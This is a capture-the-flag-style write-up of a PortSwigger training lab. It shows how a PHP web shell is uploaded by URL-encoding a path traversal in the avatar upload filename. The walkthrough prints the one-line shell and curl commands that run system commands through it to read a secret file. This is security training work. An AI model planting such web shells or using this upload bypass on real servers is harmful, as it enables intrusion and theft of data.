Web shell upload via path traversal | Dec 16, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you'll learn: Web shell upload via path traversal! Without further ado, let's dive in.

Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆

Background

This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied files, but this restriction can be bypassed by exploiting a secondary vulnerability.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Home page:

Login as user wiener:

In the previous labs, we found the image upload function is vulnerable.

Let's try to upload a PHP web shell, and intercept the request via Burp Suite:

<?php system($_GET['cmd']); ?>

When we clicked the Upload button, it'll send a POST request to /my-account/avatar, with parameter filename, user and csrf. Also, the Content-Type is application/x-php.

Let's forward that request and see what will happened:

The file has been uploaded!

In the previous labs, we also knew that the uploaded file will lives in /files/avatars/<filename>.

Let's try to access that file!

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities/FUV-2]
└─# curl https://0ac0001c0460fe43c218d4c000c2006a.web-security-academy.net/files/avatars/webshell.php --get --data-urlencode "cmd=id"   
<?php system($_GET['cmd']); ?>

Hmm… Plain text??

Let's take a step back.

In the upload POST request, we see a parameter called filename.

What if that parameter is vulnerable to path traversal, and change that value to ../webshell.php?

This might put our uploaded web shell to /files/webshell.php!

Let's try that:

File has been uploaded! Can we reach the web shell file??

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities/FUV-2]
└─# curl https://0ac0001c0460fe43c218d4c000c2006a.web-security-academy.net/files/webshell.php --get --data-urlencode "cmd=id"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 0be9fd0d8348 Port 80</address>
</body></html>

Still no…

Hmm… What if the application is stripping the / or it's doing double URL encoding?

To bypass that, I'll URL encode the /:

Now it treats the %2f as the /!

And can we reach the web shell file?

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities/FUV-2]
└─# curl https://0ac0001c0460fe43c218d4c000c2006a.web-security-academy.net/files/webshell.php --get --data-urlencode "cmd=id"
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)

Yes we can! Let's cat the secret file:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities/FUV-2]
└─# curl https://0ac0001c0460fe43c218d4c000c2006a.web-security-academy.net/files/webshell.php --get --data-urlencode "cmd=cat /home/carlos/secret"
Y03cdrRe1Gc4ehqVfzbsTujvCCyf8TVc

What we've learned:

Web shell upload via path traversal